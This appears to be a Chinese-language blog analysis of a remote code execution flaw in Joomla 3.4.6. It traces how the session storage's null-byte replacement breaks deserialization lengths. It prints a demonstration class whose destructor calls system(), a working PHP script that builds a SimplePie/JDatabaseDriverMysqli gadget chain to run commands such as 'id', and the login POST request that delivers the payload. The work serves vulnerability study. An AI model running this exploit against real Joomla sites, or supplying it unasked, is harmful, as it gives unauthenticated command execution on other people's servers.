下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6
本文测试环境为 PHP 5.5.9+apache+Ubuntu14.04.5 LTS+Joomla3.4.6 。
在 index.php 第42行下好断点,程序流程如下,这里我们重点关注 loadSession 方法。
在 loadSession 方法中会去实例化 JSessionStorageDatabase 类(下图第737行),而该类继承自 JSessionStorage 类,在实例化时会调用父类的 __construct 方法。在父类 __construct 方法中,我们看到使用了 session_set_save_handler 函数来处理 session ,函数中的 $this 指的就是 JSessionStorageDatabase 类对象(下图第88行)。接着,程序开启了 session_start 函数。
在经过 session_set_save_handler 函数处理后,如果调用 session_start 函数,就会依次调用 open、read、write、close 等方法,可以通过如下代码验证该结论。
<?php class SessionDemo { public function open() { echo 'open'.'<br>'; } public function close() { echo 'close'.'<br>'; } public function read() { echo 'read'.'<br>'; } public function write() { echo 'write'.'<br>'; } public function destroy() { echo 'destroy'.'<br>'; } public function gc() { echo 'gc'.'<br>'; } } $session = new SessionDemo(); session_set_save_handler( array($session, 'open'), array($session, 'close'), array($session, 'read'), array($session, 'write'), array($session, 'destroy'), array($session, 'gc') ); register_shutdown_function('session_write_close'); session_start(); ?>
而上面我们说了 session_set_save_handler 函数中的 $this 指的就是 JSessionStorageDatabase 类对象,所以在调用 session_start 函数后会触发 JSessionStorageDatabase 类对象的 read 方法,然后在程序即将终止时调用 write 方法。很多人找不到到底哪里调用了 read、write 方法,其实就在这里。
我们继续看程序逻辑。在用户登录失败时, Joomla 会将用户的登录数据设置在 session 中,然后将用户重定向到登录页面(下图第86-87行代码)。
在执行重定向代码时,程序会直接 exit() ,然后就会开始调用前面说到的 JSessionStorageDatabase 类的 write 方法,将用户 session 写入数据库。当我们再次发送请求时,程序会将上次存储在数据库的 session 取出来,这里在反序列化 session 的时候就会有问题。具体 write、read 的代码如下。
write、read 的代码问题就存在于对 chr(0) 字符的替换上。为了让大家更好理解,我这里举个小例子,测试代码如下:
<?php function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); } function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); } class Evil { public $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function __destruct() { system($this->cmd); } } class User { public $username; public $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } } $username = str_repeat('\0',27); $padding = '1234";s:3:"age";'; $shellcode = 'O:4:"Evil":1:{s:3:"cmd";s:2:"id";}'; // serialize(new Evil('id')) 的执行结果 $password = $padding . $shellcode; $str = read(write(serialize(new User($username, $password)))); $obj = unserialize($str); ?>
如下图所示,黄色标记部分为属性名,蓝色部分为属性对应的值。我们可以明显看到在 read 函数处理后,原先54个字符长度的 '\0' 被替换成27个字符长度的 chr(0).'*'.chr(0) ,但是字符长度标识还是 s:54 。所以在进行反序列化的时候,还会继续向后读取27个字符长度,这样序列化的结果就完全不一样了。本次 Joomla 的漏洞,就是这个原理,这里不再赘述。
最后,我们再来看下POP链,也是比较简单,直接看下图吧。这里主要注意两个问题:
最终构造 EXP如下 :
<?php class JSimplepieFactory {} class JDatabaseDriverMysql {} class SimplePie { var $feed_url; var $cache; var $sanitize; var $cache_name_function; public function __construct($feed_url, $cache, $sanitize, $cache_name_function) { $this->feed_url = $feed_url; $this->cache = $cache; $this->sanitize = $sanitize; $this->cache_name_function = $cache_name_function; } } class JDatabaseDriverMysqli { protected $obj; protected $connection; protected $disconnectHandlers = array(); public function __construct($obj, $connection, $disconnectHandlers) { $this->obj = $obj; $this->connection = $connection; $this->disconnectHandlers = $disconnectHandlers; } } $function = 'system'; $argument = 'http://www.baidu.com;id'; // $function = 'assert'; // $argument = 'phpinfo() || "http://www.baidu.com"'; $simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function); $jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie,'init'))); echo urlencode(serialize($jdatabasedrivermysqli)); ?>
POST /Joomla/ HTTP/1.1 Host: 0.0.0.0:8000 Connection: close Content-Type: application/x-www-form-urlencoded Cookie: XDEBUG_SESSION=PHPSTORM; 17511585a4996c48455fa590ab8d4d24=58c7q9ocb6n3q0tjj7m0s3g3i6 Content-Length: 737 CSRF-Token值=1&task=user.login&option=com_users&username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=AAA";s:3:"233":序列化payload
PS:这个漏洞还和PHP的版本有关,高版本PHP(例如PHP5.6.40)是无法利用成功的。这个和session的处理机制有关系,具体分析可以参考:session反序列化代码执行漏洞分析[Joomla RCE]